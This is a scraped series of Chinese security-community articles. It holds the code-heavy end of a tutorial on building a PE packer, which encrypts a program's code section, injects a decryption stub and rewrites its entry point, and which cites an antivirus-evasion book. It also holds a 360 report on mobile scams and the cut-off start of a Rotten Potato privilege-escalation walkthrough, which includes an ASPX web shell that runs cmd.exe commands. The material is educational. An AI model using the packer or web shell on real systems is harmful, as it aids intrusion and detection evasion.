mov eax,[eax] // eax = 列表中的第二个条目
mov eax,[eax+0x08] // eax = 获取到的Kernel32.dll基址
mov dwKernel32Addr,eax
pop eax
}
return dwKernel32Addr;
}
#### 2.3.2 获取GetProcAddress的地址
* 获得基址之后，我们根据PE结构从kernel32.dll中的导出表中获得”GetProcAddress”
* 我们可以通过查询资料得到，IAT表所属的IMAGE_DIRECTORY_ENTRY_EXPORT位于IMAGE_NT_HEADER->IMAGE_OPTIONAL_HEADER->DataDirectory，那我们先获取导出表
DWORD dwAddrBase = GetKernel32Base();
// 1. 获取DOS头、NT头
PIMAGE_DOS_HEADER pDos_Header;
PIMAGE_NT_HEADERS pNt_Header;
pDos_Header = (PIMAGE_DOS_HEADER)dwAddrBase;
pNt_Header = (PIMAGE_NT_HEADERS)(dwAddrBase + pDos_Header->e_lfanew);
// 2. 获取导出表项
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_EXPORT_DIRECTORY pExport;
pDataDir = pNt_Header->OptionalHeader.DataDirectory;
pDataDir = &pDataDir[IMAGE_DIRECTORY_ENTRY_EXPORT];
pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
...
* 然后我们查看IMAGE_EXPORT_DIRECTORY的结构，如下所示。此处需要注意的是AddressOf…三个都是指针
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
* 三个指针结构如下所示
* 根据上述结构，我们可以根据函数名字遍历链表获得GetProcAddress地址
// 3、获取导出表的必要信息
DWORD dwModOffset = pExport->Name; // 模块的名称
DWORD dwFunCount = pExport->NumberOfFunctions; // 导出函数的数量
DWORD dwNameCount = pExport->NumberOfNames; // 导出名称的数量
PDWORD pEAT = (PDWORD)(dwAddrBase + pExport->AddressOfFunctions); // 获取地址表的RVA
PDWORD pENT = (PDWORD)(dwAddrBase + pExport->AddressOfNames); // 获取名称表的RVA
PWORD pEIT = (PWORD)(dwAddrBase + pExport->AddressOfNameOrdinals); //获取索引表的RVA
// 4、获取GetProAddress函数的地址
for (DWORD i = 0; i < dwFunCount; i++)
{
if (!pEAT[i])
{
continue;
}
// 4.1 获取序号
DWORD dwID = pExport->Base + i;
// 4.2 变量EIT 从中获取到 GetProcAddress的地址
for (DWORD dwIdx = 0; dwIdx < dwNameCount; dwIdx++)
{
// 序号表中的元素的值 对应着函数地址表的位置
if (pEIT[dwIdx] == i)
{
//根据序号获取到名称表中的名字
DWORD dwNameOffset = pENT[dwIdx];
char * pFunName = (char*)(dwAddrBase + dwNameOffset);
//判断是否是GetProcAddress函数
if (!strcmp(pFunName, "GetProcAddress"))
{
// 获取EAT的地址 并将GetProcAddress地址返回
DWORD dwFunAddrOffset = pEAT[i];
return dwAddrBase + dwFunAddrOffset;
}
}
}
}
#### 2.3.3 获取API
* 那么之后我们使用typedef定义需要的API指针，然后用GetProcAddress获得的API地址给指针赋值，之后我们就可以使用这些API了，另：自己定义的指针名不能与API名相同
LPGETPROCADDRESS g_funGetProcAddress = nullptr;
LPLOADLIBRARYEX g_funLoadLibraryEx = nullptr;
LPEXITPROCESS g_funExitProcess = nullptr;
LPMESSAGEBOX g_funMessageBox = nullptr;
LPGETMODULEHANDLE g_funGetModuleHandle = nullptr;
LPVIRTUALPROTECT g_funVirtualProtect = nullptr;
bool InitializationAPI()
{
HMODULE hModule;
// 1. 初始化基础API 这里使用的是LoadLibraryExW
g_funGetProcAddress = (LPGETPROCADDRESS)GetGPAFunAddr();
g_funLoadLibraryEx = (LPLOADLIBRARYEX)g_funGetProcAddress((HMODULE)GetKernel32Base(), "LoadLibraryExW");
// 2. 初始化其他API
hModule = NULL;
if (!(hModule = g_funLoadLibraryEx(L"kernel32.dll", NULL, NULL)))
return false;
g_funExitProcess = (LPEXITPROCESS)g_funGetProcAddress(hModule, "ExitProcess");
hModule = NULL;
if (!(hModule = g_funLoadLibraryEx(L"user32.dll", NULL, NULL)))
return false;
g_funMessageBox = (LPMESSAGEBOX)g_funGetProcAddress(hModule, "MessageBoxW");
hModule = NULL;
if (!(hModule = g_funLoadLibraryEx(L"kernel32.dll", NULL, NULL)))
return false;
g_funGetModuleHandle = (LPGETMODULEHANDLE)g_funGetProcAddress(hModule, "GetModuleHandleW");
hModule = NULL;
if (!(hModule = g_funLoadLibraryEx(L"kernel32.dll", NULL, NULL)))
return false;
g_funVirtualProtect = (LPVIRTUALPROTECT)g_funGetProcAddress(hModule, "VirtualProtect");
return true;
* 之后我们完善一下我们的start函数
extern __declspec(dllexport) GLOBAL_PARAM g_stcParam={0};
void start()
{
// 1. 初始化所有API
if (!InitializationAPI())
return;
// 2. 解密宿主程序
Decrypt();
// 3. 跳转到OEP
__asm jmp g_stcParam.dwOEP;
}
这样一来我们就完成了DLL的Stub部分
## 三、Stub的植入
* 之后我们就需要将Stub植入了。但在此之前我们需要先将带加壳文件加载入内存并预处理文件
* 这一部分主要包括
* 加载目标文件
* 目标文件预处理
* 植入Stub
* 保存文件
### 3.1 加载目标文件
* 由于我们只是普通的加载目标文件而不是按照内存的格式展开，所以加载过程非常简单，但之后操作要注意将所有VirtualAddress的地址转换为FileOffset
// 2. 获取文件信息，并映射进内存中
if (INVALID_HANDLE_VALUE == (hFile_In = CreateFile(strPath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL)))
{
return false;
}
if (INVALID_FILE_SIZE == (dwFileSize = GetFileSize(hFile_In, NULL)))
{
CloseHandle(hFile_In);
return false;
}
if (!(lpFileImage = VirtualAlloc(NULL, dwFileSize * 2, MEM_COMMIT, PAGE_READWRITE)))
{
CloseHandle(hFile_In);
return false;
}
DWORD dwRet;
if (!ReadFile(hFile_In, lpFileImage, dwFileSize, &dwRet, NULL))
{
CloseHandle(hFile_In);
VirtualFree(lpFileImage, 0, MEM_RELEASE);
return false;
}
### 3.2 目标文件预处理
* 所谓目标文件预处理就是将.text段加密，之后运行时由植入的Stub部分解密后才会恢复正常。
* 那么我们只需要将获取的目标文件信息传入即可执行，代码如下：
// 3. 获取PE文件信息
objProcPE.GetPeInfo(lpFileImage, dwFileSize, &stcPeInfo);
// 4. 获取目标文件代码段的起始结束信息
// 读取第一个区段的相关信息，并将其加密（默认第一个区段为代码段）
PBYTE lpStart = (PBYTE)(stcPeInfo.pSectionHeader->PointerToRawData + (DWORD)lpFileImage);
PBYTE lpEnd = (PBYTE)((DWORD)lpStart + stcPeInfo.pSectionHeader->SizeOfRawData);
PBYTE lpStartVA = (PBYTE)(stcPeInfo.pSectionHeader->VirtualAddress + stcPeInfo.dwImageBase);
PBYTE lpEndVA = (PBYTE)((DWORD)lpStartVA + stcPeInfo.pSectionHeader->SizeOfRawData);
// 5. 对文件进行预处理
Pretreatment(lpStart, lpEnd, stcPeInfo);
void Pretreatment(PBYTE lpCodeStart, PBYTE lpCodeEnd, PE_INFO stcPeInfo)
{
// 1. 加密指定区域
while (lpCodeStart < lpCodeEnd)
{
*lpCodeStart ^= 0x15;
lpCodeStart++;
}
// 2. 给第一个区段附加上可写属性
PDWORD pChara = &(stcPeInfo.pSectionHeader->Characteristics);
*pChara = *pChara | IMAGE_SCN_MEM_WRITE;
}
* 那么之后我们只需将Stub植入就可以保存文件了（上述处理PE结构使用了一个CProcessingPE类，定义之后详细给出）
### 3.3 植入Stub
* 植入Stub可以说是DLL型壳中的最大难点。其主要包括以下部分
* 将Stub读入缓冲区
* 在原文件中增加区块
* 修复Stub的重定位
* 将Stub复制到原文件中
* 计算并设置新的OEP
* 其中由于篇幅所限，本人仅仅介绍增加区块以及Stub重定位修复部分。
#### 3.3.1 区块增加
* PE文件中的区块与PE结构中的SectionHeader有关，所以为了增加一个Section，我们首先应该定位到SectionTable的起始位置
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(m_pNt_Header);
// 1. 获取基本信息
DWORD dwDosSize = m_pDos_Header->e_lfanew;
DWORD dwPeSize = sizeof(IMAGE_NT_HEADERS32);
DWORD dwStnSize = m_pNt_Header->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER);
DWORD dwHeadSize = dwDosSize+dwPeSize+dwStnSize;
* 我们查询一下关于PE文件的SectionTable的结构，单个SectionHeader的结构如下
#define IMAGE_SIZEOF_SHORT_NAME 8
typedef struct _IMAGE_SECTION_HEADER{
0X00 BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; //节（段）的名字.text/.data/.rdata/等
//由于长度固定8字节，所以可以没有结束符
0X08 union{
DWORD PhysicalAddress; //物理地址
DWORD VirtualSize; //虚拟大小
}Misc;
0X0C DWORD VirtualAddress; //块的RVA，相对虚拟地址
0X10 DWORD SizeOfRawData; //该节在文件对齐后的尺寸大小(FileAlignment的整数倍)
0X14 DWORD PointerToRawData; //节区在文件中的偏移量
//0X18 DWORD PointerToRelocations; //重定位偏移(obj中使用)
//0X1C DWORD PointerToLinenumbers; //行号表偏移(调试用)
//0X20 WORD NumberOfRelocations; //重定位项目数(obj中使用)
//0X22 WORD NumberOfLinenumbers; //行号表中行号的数目
0X24 DWORD Characteristics; //节属性(按bit位设置属性)
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
#define IMAGE_SIZEOF_SECTION_HEADER 40
* 那么我们应该相应的组装一个类似的结构，然后增加区块数目并将组装的SectionHeader赋值到目标文件中
// 2.4 组装一个新的区段头
IMAGE_SECTION_HEADER stcNewSect = {0};
CopyMemory(stcNewSect.Name, szVarName, 7); // 区段名称
stcNewSect.Misc.VirtualSize = dwVirtualSize; // 虚拟大小
stcNewSect.VirtualAddress = dwVStart; // 虚拟地址
stcNewSect.SizeOfRawData = dwSizeOfRawData; // 文件大小
stcNewSect.PointerToRawData = dwFStart; // 文件地址
stcNewSect.Characteristics = dwChara; // 区段属性
// 2.5 写入指定位置
CopyMemory( (PVOID)((DWORD)m_dwFileDataAddr+dwHeadSize), &stcNewSect, sizeof(IMAGE_SECTION_HEADER) );
// 3. 修改区段数目字段NumberOfSections
m_pNt_Header->FileHeader.NumberOfSections++;
* 之后我们需要将SizeOfImage大小增加我们Stub的大小（要求按照SectionAlignment对齐）并将我们的Stub复制进新的区块。
// 4. 修改PE文件的景象尺寸字段SizeOfImage
m_pNt_Header->OptionalHeader.SizeOfImage += dwVirtualSize;
// 5. 返回新区段的详细信息、大小，以及可直接访问的地址
CopyMemory(pNewSection, &stcNewSect, sizeof(IMAGE_SECTION_HEADER));
*lpSize = dwSizeOfRawData;
return (PVOID)(m_dwFileDataAddr+dwFStart);
}
#### 3.3.2 修复重定位
* 修复重定位决定了我们的Stub能否在目标程序中正常运行，同样，我们首先需要先定位RelocTable
// 1. 获取映像基址与代码段指针
DWORD dwImageBase;
PVOID lpCode;
dwImageBase = m_pNt_Header->OptionalHeader.ImageBase;
lpCode = (PVOID)( (DWORD)m_dwFileDataAddr + RVAToOffset(m_pNt_Header->OptionalHeader.BaseOfCode) );
* 之后我们查看一下RelocTable的结构
* 每个IMAGE_BASE_RELOCATION元素包含了VirtualAddress、SizeOfBlock，后边跟着数目不定的重定位项，所以重定位项的数量n就等于(SizeOfBlock－sizeof IMAGE_BASE_RELOCATION)÷2。
* 那么我们只需要遍历重定位表，逐个进行修复。注意，此处重定位表的地址与实际内存地址不同，应该先减去基址计算为偏移，之后加上当前基址计算
// 2. 获取重定位表在内存中的地址
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_BASE_RELOCATION pReloc;
pDataDir = m_pNt_Header->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_BASERELOC;
pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)m_dwFileDataAddr + RVAToOffset(pDataDir->VirtualAddress));
// 3. 遍历重定位表，并对目标代码进行重定位
while ( pReloc->SizeOfBlock && pReloc->SizeOfBlock < 0x100000 )
{
// 3.1 取得重定位项TypeOffset与其数量
PWORD pTypeOffset = (PWORD)((DWORD)pReloc+sizeof(IMAGE_BASE_RELOCATION));
DWORD dwCount = (pReloc->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
// 3.2 循环检查重定位项
for ( DWORD i=0; i<dwCount; i++ )
{
if ( !*pTypeOffset ) continue;
// 3.2.1 获取此重定位项指向的指针
DWORD dwPointToRVA = (*pTypeOffset&0x0FFF)+pReloc->VirtualAddress;
PDWORD pPtr = (PDWORD)(RVAToOffset(dwPointToRVA)+(DWORD)m_dwFileDataAddr);
// 3.2.2 计算重定位增量值
DWORD dwIncrement = dwLoadImageAddr - dwImageBase;
// 3.2.3 修复需重定位的地址数据
*((PDWORD)pPtr) += dwIncrement;
pTypeOffset++;
}
// 3.3 指向下一个重定位块，开始另一次循环
pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pReloc + pReloc->SizeOfBlock);
}
* 由此我们成功修复了重定位表
#### 3.4 CProcessingPE
* 在此前植入Stub的过程中我们为了方便手动定义了一个CProcessingPE类，下面附上这个类的成员以及方法供参考。由于较为重要的方法此前都已经有介绍，此处就不在赘述
CProcessingPE::CProcessingPE(void)
{
ZeroMemory(&m_stcPeInfo, sizeof(PE_INFO));
}
CProcessingPE::~CProcessingPE(void)
{
}
/*********************************************************************
* 相对虚拟地址(RVA)转文件偏移(Offset)
* 此函数负责将传入的RVA转换为Offset。
*
* 注意：此转换函数并未考虑到所有细节，但是在绝大多数情况可以正常运转。
*
* 参数：
* ULONG uRvaAddr：RVA地址值
*
* 返回值：
* DWORD：成功返回Offset，失败则返回0
*********************************************************************/
DWORD CProcessingPE::RVAToOffset(ULONG uRvaAddr)
{
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(m_pNt_Header);
for (DWORD i=0; i<m_pNt_Header->FileHeader.NumberOfSections; i++)
{
if((pSectionHeader[i].VirtualAddress <= uRvaAddr) && (pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData > uRvaAddr))
{
return (pSectionHeader[i].PointerToRawData + (uRvaAddr - pSectionHeader[i].VirtualAddress));
}
}
return 0;
}
/*********************************************************************
* 文件偏移(Offset)转相对虚拟地址(RVA)
* 此函数负责将传入的Offset转换为RVA。
*
* 注意：此转换函数并未考虑到所有细节，但是在绝大多数情况可以正常运转。
*
* 参数：
* ULONG uOffsetAddr：Offset地址值
*
* 返回值：
* DWORD：成功返回RVA地址，失败则返回0
*********************************************************************/
DWORD CProcessingPE::OffsetToRVA(ULONG uOffsetAddr)
{
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(m_pNt_Header);
for (DWORD i=0; i<m_pNt_Header->FileHeader.NumberOfSections; i++)
{
if((pSectionHeader[i].PointerToRawData <= uOffsetAddr) && (pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData > uOffsetAddr))
{
return (pSectionHeader[i].VirtualAddress + (uOffsetAddr - pSectionHeader[i].PointerToRawData));
}
}
return 0;
}
/*********************************************************************
* 获取PE文件信息
* 此函数负责获取目标文件的关键PE信息。
*
* 参数：
* LPVOID lpImageData：目标文件所在缓存区的指针
* DWORD dwImageSize：目标文件的大小
* PPE_INFO pPeInfo ：[OUT]用于传出目标文件的关键PE信息
*
* 返回值：
* BOOL：成功返回true，失败则返回false
*********************************************************************/
BOOL CProcessingPE::GetPeInfo(LPVOID lpImageData, DWORD dwImageSize, PPE_INFO pPeInfo)
{
// 1、判断映像指针是否有效
if ( m_stcPeInfo.dwOEP )
{
CopyMemory(pPeInfo, &m_stcPeInfo, sizeof(PE_INFO));
return true;
}
else
{
if ( !lpImageData ) return false;
m_dwFileDataAddr = (DWORD)lpImageData;
m_dwFileDataSize = dwImageSize;
}
// 2. 获取基本信息
// 2.1 获取DOS头、NT头
m_pDos_Header = (PIMAGE_DOS_HEADER)lpImageData;
m_pNt_Header = (PIMAGE_NT_HEADERS)((DWORD)lpImageData+m_pDos_Header->e_lfanew);
// 2.2 获取OEP
m_stcPeInfo.dwOEP = m_pNt_Header->OptionalHeader.AddressOfEntryPoint;
// 2.3 获取映像基址
m_stcPeInfo.dwImageBase = m_pNt_Header->OptionalHeader.ImageBase;
// 2.4 获取关键数据目录表的内容
PIMAGE_DATA_DIRECTORY lpDataDir = m_pNt_Header->OptionalHeader.DataDirectory;
m_stcPeInfo.pDataDir = lpDataDir;
CopyMemory(&m_stcPeInfo.stcExport, lpDataDir+IMAGE_DIRECTORY_ENTRY_EXPORT, sizeof(IMAGE_DATA_DIRECTORY));
// 2.5 获取区段表与其他详细信息
m_stcPeInfo.pSectionHeader = IMAGE_FIRST_SECTION(m_pNt_Header);
// 3. 检查PE文件是否有效
if ( (m_pDos_Header->e_magic!=IMAGE_DOS_SIGNATURE) || (m_pNt_Header->Signature!=IMAGE_NT_SIGNATURE) )
{
// 这不是一个有效的PE文件
return false;
}
// 4. 传出处理结果
CopyMemory(pPeInfo, &m_stcPeInfo, sizeof(PE_INFO));
return true;
}
/*********************************************************************
* 修复重定位项
* 此函数负责修复映像的重定位项，此函数依赖于RVAToOffset函数。
*
* 注意：
* 1. dwLoadImageAddr指的并非是其本身ImageBase的值，而是其被加载后的预
* 计模块基址。
* 2. 此重定位函数并未考虑到修复类型问题，如果要提高兼容性，应该分别对
* 三种重定位类型进行区别对待。
*
* 参数：
* DWORD dwLoadImageAddr：此映像被加载后的预计模块基址
*
* 返回值：无
*********************************************************************/
void CProcessingPE::FixReloc(DWORD dwLoadImageAddr)
{
// 1. 获取映像基址与代码段指针
DWORD dwImageBase;
PVOID lpCode;
dwImageBase = m_pNt_Header->OptionalHeader.ImageBase;
lpCode = (PVOID)( (DWORD)m_dwFileDataAddr + RVAToOffset(m_pNt_Header->OptionalHeader.BaseOfCode) );
// 2. 获取重定位表在内存中的地址
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_BASE_RELOCATION pReloc;
pDataDir = m_pNt_Header->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_BASERELOC;
pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)m_dwFileDataAddr + RVAToOffset(pDataDir->VirtualAddress));
// 3. 遍历重定位表，并对目标代码进行重定位
while ( pReloc->SizeOfBlock && pReloc->SizeOfBlock < 0x100000 )
{
// 3.1 取得重定位项TypeOffset与其数量
PWORD pTypeOffset = (PWORD)((DWORD)pReloc+sizeof(IMAGE_BASE_RELOCATION));
DWORD dwCount = (pReloc->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
// 3.2 循环检查重定位项
for ( DWORD i=0; i<dwCount; i++ )
{
if ( !*pTypeOffset ) continue;
// 3.2.1 获取此重定位项指向的指针
DWORD dwPointToRVA = (*pTypeOffset&0x0FFF)+pReloc->VirtualAddress;
PDWORD pPtr = (PDWORD)(RVAToOffset(dwPointToRVA)+(DWORD)m_dwFileDataAddr);
// 3.2.2 计算重定位增量值
DWORD dwIncrement = dwLoadImageAddr - dwImageBase;
// 3.2.3 修复需重定位的地址数据
*((PDWORD)pPtr) += dwIncrement;
pTypeOffset++;
}
// 3.3 指向下一个重定位块，开始另一次循环
pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pReloc + pReloc->SizeOfBlock);
}
}
/*********************************************************************
* 获取PE文件信息
* 此函数负责获取目标文件的关键PE信息。
*
* 参数：
* LPVOID lpImageData：目标文件所在缓存区的指针
* DWORD dwImageSize：目标文件的大小
* PPE_INFO pPeInfo ：[OUT]用于传出目标文件的关键PE信息
*
* 返回值：
* BOOL：成功返回true，失败则返回false
*********************************************************************/
PVOID CProcessingPE::GetExpVarAddr(LPCTSTR strVarName)
{
// 1、获取导出表地址，并将参数strVarName转为ASCII形式，方便对比查找
CHAR szVarName[MAX_PATH] = {0};
PIMAGE_EXPORT_DIRECTORY lpExport = (PIMAGE_EXPORT_DIRECTORY)(m_dwFileDataAddr + RVAToOffset(m_stcPeInfo.stcExport.VirtualAddress));
WideCharToMultiByte(CP_ACP, NULL, strVarName, -1, szVarName, _countof(szVarName), NULL, FALSE);
// 2、循环读取导出表输出项的输出函数，并依次与szVarName做比对，如果相同，则取出相对应的函数地址
for (DWORD i=0; i<lpExport->NumberOfNames; i++)
{
PDWORD pNameAddr = (PDWORD)(m_dwFileDataAddr+RVAToOffset(lpExport->AddressOfNames+i));
PCHAR strTempName = (PCHAR)(m_dwFileDataAddr + RVAToOffset(*pNameAddr));
if ( !strcmp(szVarName, strTempName) )
{
PDWORD pFunAddr = (PDWORD)(m_dwFileDataAddr+RVAToOffset(lpExport->AddressOfFunctions+i));
return (PVOID)(m_dwFileDataAddr + RVAToOffset(*pFunAddr));
}
}
return 0;
}
/*********************************************************************
* 添加区段函数
* 此函数负责在目标文件中添加一个自定义的区段。
*
* 注：
* 此函数并未考虑到目标函数存在附加数据等细节问题。
*
* 参数：
* LPCTSTR strName ：新区段的名称
* DWORD dwSize ：新区段的最小体积
* DWORD dwChara ：新区段的属性
* PIMAGE_SECTION_HEADER pNewSection：[OUT]新区段的段结构指针
* PDWORD lpSize ：[OUT]新区段的最终大小
*
* 返回值：
* PVOID：成功返回指向新区段现在所在内存的指针
*********************************************************************/
PVOID CProcessingPE::AddSection(LPCTSTR strName, DWORD dwSize, DWORD dwChara, PIMAGE_SECTION_HEADER pNewSection, PDWORD lpSize)
{
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(m_pNt_Header);
// 1. 获取基本信息
DWORD dwDosSize = m_pDos_Header->e_lfanew;
DWORD dwPeSize = sizeof(IMAGE_NT_HEADERS32);
DWORD dwStnSize = m_pNt_Header->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER);
DWORD dwHeadSize = dwDosSize+dwPeSize+dwStnSize;
// 2. 在区段表中加入新区段的信息
// 2.1 获取基本信息
CHAR szVarName[7] = {0};
DWORD dwFileAlign = m_pNt_Header->OptionalHeader.FileAlignment; // 文件粒度
DWORD dwSectAlign = m_pNt_Header->OptionalHeader.SectionAlignment; // 区段粒度
WORD dwNumOfsect = m_pNt_Header->FileHeader.NumberOfSections; // 区段数目
// 2.2 获取最后一个区段的信息
IMAGE_SECTION_HEADER stcLastSect = {0};
CopyMemory(&stcLastSect, &pSectionHeader[dwNumOfsect-1], sizeof(IMAGE_SECTION_HEADER));
// 2.3 根据区段粒度计算相应地址信息
DWORD dwVStart = 0; // 虚拟地址起始位置
DWORD dwFStart = stcLastSect.SizeOfRawData + stcLastSect.PointerToRawData; // 文件地址起始位置
if ( stcLastSect.Misc.VirtualSize%dwSectAlign )
dwVStart = (stcLastSect.Misc.VirtualSize / dwSectAlign+1) * dwSectAlign + stcLastSect.VirtualAddress;
else
dwVStart = (stcLastSect.Misc.VirtualSize / dwSectAlign ) * dwSectAlign + stcLastSect.VirtualAddress;
DWORD dwVirtualSize = 0; // 区段虚拟大小
DWORD dwSizeOfRawData = 0; // 区段文件大小
if ( dwSize%dwSectAlign)
dwVirtualSize = (dwSize / dwSectAlign+1) * dwSectAlign;
else
dwVirtualSize = (dwSize / dwSectAlign ) * dwSectAlign;
if ( dwSize%dwFileAlign )
dwSizeOfRawData = (dwSize / dwFileAlign+1) * dwFileAlign;
else
dwSizeOfRawData = (dwSize / dwFileAlign ) * dwFileAlign;
WideCharToMultiByte(CP_ACP, NULL, strName, -1, szVarName, _countof(szVarName), NULL, FALSE);
// 2.4 组装一个新的区段头
IMAGE_SECTION_HEADER stcNewSect = {0};
CopyMemory(stcNewSect.Name, szVarName, 7); // 区段名称
stcNewSect.Misc.VirtualSize = dwVirtualSize; // 虚拟大小
stcNewSect.VirtualAddress = dwVStart; // 虚拟地址
stcNewSect.SizeOfRawData = dwSizeOfRawData; // 文件大小
stcNewSect.PointerToRawData = dwFStart; // 文件地址
stcNewSect.Characteristics = dwChara; // 区段属性
// 2.5 写入指定位置
CopyMemory( (PVOID)((DWORD)m_dwFileDataAddr+dwHeadSize), &stcNewSect, sizeof(IMAGE_SECTION_HEADER) );
// 3. 修改区段数目字段NumberOfSections
m_pNt_Header->FileHeader.NumberOfSections++;
// 4. 修改PE文件的景象尺寸字段SizeOfImage
m_pNt_Header->OptionalHeader.SizeOfImage += dwVirtualSize;
// 5. 返回新区段的详细信息、大小，以及可直接访问的地址
CopyMemory(pNewSection, &stcNewSect, sizeof(IMAGE_SECTION_HEADER));
*lpSize = dwSizeOfRawData;
return (PVOID)(m_dwFileDataAddr+dwFStart);
}
/*********************************************************************
* 修改目标文件OEP
* 此函数负责修改目标文件OEP。
*
* 参数：
* DWORD dwOEP：新OEP
*
* 返回值：无
*********************************************************************/
void CProcessingPE::SetOEP(DWORD dwOEP)
{
m_pNt_Header->OptionalHeader.AddressOfEntryPoint = dwOEP;
}
## 四、总结
* 壳的编写看似简单，实际有不少难点。本文中没有涉及IAT表的加密以及一系列反调试，混淆手段，只是作为一个壳的原型方便读者了解壳编写的流程以及其中的难点，为下一步深入学习打下基础。
* 本人纯属萌新，本文如有错漏，希望各位大佬不吝指正。
* 本文参考的代码来自于《黑客免杀攻防》，如有需要源码可以自行前往华章图书的官网下载。 | 社区文章 |
# 权威发布《2020年Q3季度中国手机安全状况报告》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告基于360安全大脑数据分析、360手机卫士拦截数据支撑，由360企业安全、360手机卫士、360安全大脑联合发布
**直观阐释移动安全发展趋势，揭密黑灰产业链运营方式。**
## 恶意程序篇
**恶意程序指数增多数要把话费坑**
累计拦截约15.2亿次新增拦截样本约118.7万个
## 钓鱼网站篇
**彩票网贷层出不穷，一夜暴富全都是梦**
累计拦截304.0亿次新增拦截样本约4794.5万个
## 骚扰电话篇
**无穷无尽“响一声”，见精识精“标一下”**
**累计识别和拦截约56.2亿次用户主动标记样本约345.7万个**
## 垃圾短信篇
**垃圾短信铺天盖地，广告推销占据主力**
累计拦截约46.3亿条平均每日拦截约5651.3万条
## 手机诈骗篇
**低投入高回报？金融诈骗坑钱不少**
360手机先赔共接到手机诈骗举报621起，诈骗申请过半
## 受害者画像篇
**男性很“难”，年轻男性“难上加难”**
## 真实案例解析
### 在线养猫做足噱头，击鼓传花老调新弹
云上养殖本质是资金盘，以高佣金为噱头，吸引投资，利用后来进入者的资金弥补之前投资者的资金，一旦后期没有“新韭菜”用户进入或被用户恐慌性挤兑，平台就会垮塌。
**专家解读**
**360安全警示**
高回报的，必然是高风险的，切勿被蝇头小利所诱惑，注意保障资金安全。
### 代办额度天花乱坠，最终都是违法收费
所谓的“代办大额信用卡”，大多是为了套取用户信息。如果有人上钩，不法分子常常会先收取各种名目的费用，用户转账后即被拉黑。套路更深的会做个假卡发放，后面还会继续索要开户费、激活费等。
**专家解读**
**安全提示**
凡是涉及到“手续费”等收费要求的，都要提高警惕，十有八九是骗局!
### 网络色情的“秘密通道”？看不到“小电影”还要花大钱
网络色情产业更善于运用各种引流推广手段，但是无论推广手段多么“诱人”，最终都是诱导用户在虚假网站内进行支付，这些诱导APP，即使付费也无法观看，严重的还会导致个人信息泄露。
电商平台“招嫖”关键词-在电商平台，可以看到大量描述奇怪的商品。
社交软件热评中的的“色情网站”-社交软件评论区，能看到带有行业黑话的评论，点开进入用户主页会有许多网页链接，这是个即使付费也无法观看的虚假色情网站。
**专家解读**
**安全提示**
浏览虚假色情网站不仅会造成财产损失，传播淫秽色情作品更是违法行为。
天上不会掉馅饼，努力奋斗才能梦想成真
守卫信息安全，再厉害的防御机制
也比不上火眼金睛的你！
扫码查看完整报告，关注手机安全信息 | 社区文章 |
# 有了Rotten Potato，我再也不需要Meterpreter了
##### 译文声明
本文是翻译文章，文章原作者 decoder，文章来源：decoder.cloud
原文地址：<https://decoder.cloud/2017/12/23/the-lonely-potato/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
如果你之前没听说过Rotten Potato的话，请大家在阅读本文之前先看看这篇有关使用Rotten
Potato实现服务帐号提权的【[文章](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)】。
它的实现机制可谓是相当复杂，它允许我们拦截NTLM认证挑战请求并伪造目标用户的安全访问令牌，而这个过程发生在DCOM激活过程中（目标用户账号需要运行BITS-后台智能传输服务服务实例）。
访问令牌是什么？它是一种用来描述Windows进程或线程安全状态的对象，它跟会话Cookie有些类似。
而我们所需要的就是一个拥有相应权限的进程。一般来说，用户所运行的SQL
server服务或者ISS服务都会拥有这种权限，所以如果我们能够拿到这些系统中的Shell或者在其中实现命令执行，那我们就成功了一半了。更加搞笑的是，微软并没有修复这个安全问题，可能他们认为这也是一种“专门设计的功能”吧…
我并不打算在本文中跟大家深入讨论技术细节方面的内容，我只想告诉大家如何在不依赖于Meterpreter以及incognito模块的情况下去使用这个PoC。
## PoC利用
首先，我们需要在Windows（Windows 7-Windows
2016均可）上安装IIS，，然后将“command”.aspx页面（代码在下面给出）拷贝到webroot目录之中。
下面给出的是一份简单的脚本代码：
< %@ Page Language="VB" Debug="true" >
< %@ import Namespace="system.IO" % >
< %@ import Namespace="System.Diagnostics">
<script runat="server">
Function RunCmd(command)
Dim res as integer
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(“c:windowssystem32cmd.exe”)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=”/c “ + command
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
